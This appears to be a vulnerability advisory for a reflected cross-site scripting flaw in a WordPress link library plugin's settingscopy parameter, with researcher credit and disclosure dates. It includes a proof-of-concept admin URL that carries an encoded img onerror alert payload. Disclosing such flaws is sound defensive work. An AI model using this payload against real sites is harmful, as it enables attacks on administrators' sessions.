The plugin does not sanitise and escape the settingscopy parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting
https://example.com/wp-admin/edit.php?post_type=link_library_links&page=link-library-settingssets&settings=%3Cb%3E&settingscopy=%3Cimg+src+onerror%3Dalert%28/XSS/%29%3E
Krzysztof Zając
Krzysztof Zając
Yes
2021-12-30 (about 1 years ago)
2021-12-30 (about 1 years ago)
2022-04-13 (about 9 months ago)